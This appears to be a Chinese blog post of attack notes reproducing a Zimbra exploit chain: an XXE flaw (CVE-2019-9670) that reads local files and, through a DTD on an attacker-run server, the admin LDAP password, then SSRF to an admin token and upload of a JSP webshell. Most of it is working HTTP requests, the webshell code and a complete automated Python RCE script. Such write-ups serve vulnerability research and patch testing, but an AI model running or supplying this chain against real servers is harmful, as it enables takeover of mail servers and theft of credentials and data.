zimbra攻防笔记-XXE+SSRF RCE

发布于 2023-02-16  1391 次阅读


简介:

Zimbra 是一家提供专业的电子邮件软件开发供应商,主要提供 Zimbra Collaboration Server 协作服务器套件、Zimbra Desktop 邮件管理软件等邮件方面的软件。

当 Zimbra 存在像任意文件读取、XXE(XML 外部实体注入) 这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml 配置文件,获取到 zimbra admin ldap password,并通过 7071 admin 端口进行 SOAP AuthRequest 认证,得到 admin authtoken,然后就可以利用 admin authtoken 进行任意文件上传,从而达到远程代码执行的危害。

影响范围:

Zimbra < 8.7.1 攻击者可以在无需登录的情况下,实现getshell
Zimbra<8.8.11 在服务端使用Memcached做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行

漏洞复现:

1.测试是否存在CVE-2019-9670 XXE漏洞

访问zimbra页面

请求以下数据包

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 346

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>


可以发现成功读取到passwd文件内容,证明存在XXE漏洞

2.读取zimbra用户账号密码

接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

把上面复制到文件中命名为exp.dtd
开启http服务
接着请求以下数据包

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 407

<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>


成功获取zimbra密码

3.利用获取到的密码获取低权限token

POST请求/service/soap或/service/admin/soap

POST /service/admin/soap HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>上一步得到密码</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

成功获取低权限token

4.利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token

POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
我这里可能环境有问题,没有使用SSRF直接请求/service/admin/soap即可获取高权限token

注意:
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token
发送同上Body内容,但是AuthRequest的xmlns要改为:urn:zimbraAdmin,否则获取的还是普通权限的Token

POST /service/admin/soap HTTP/1.1
Host: 192.168.161.131:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Cookie: ZM_ADMIN_AUTH_TOKEN=0_4673836ead2c1a627dea7932361ceb7b6b5afcc3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637363634393538383434363b747970653d363a7a696d6272613b7469643d383a37313339373337363b
Content-Length: 462

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAdmin">
        <account by="adminName">zimbra</account>
        <password>b5BP1_mRA</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

成功获取高权限token

5.利用高权限token传文件getshell

import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("666.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_a37395ebb85cbf5580500d7306f126ef521bded3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637363532303137303638363b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3436363730383133393b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.161.131:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

可以发现成功上传
这里访问需要携带cookie访问

自动化RCE脚本

这里推荐k8gege的脚本
https://github.com/k8gege/ZimbraExploit

可以自行更改shell

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "777.jsp"
fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
print(base_url)
#dtd file url
dtd_url="http://xxx.xxx.xxx.xxx/exp.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "{dtd}">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(dtd=dtd_url)

#XXE stage
headers = {
    "Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
    print("have no xxe")
    exit()

#low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="{xmlns}">
        <account by="adminName">{username}</account>
        <password>{password}</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin  Auth Token By SSRF")
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
    'filename1':(None,"whocare",None),
    'clientFile':(filename,fileContent,"text/plain"),
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print("Shell: "+base_url+"/downloads/"+filename)
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("May need cookie:")
print(headers['Cookie'])

演示:

参考:

https://xz.aliyun.com/t/7991

届ける言葉を今は育ててる
最后更新于 2023-02-16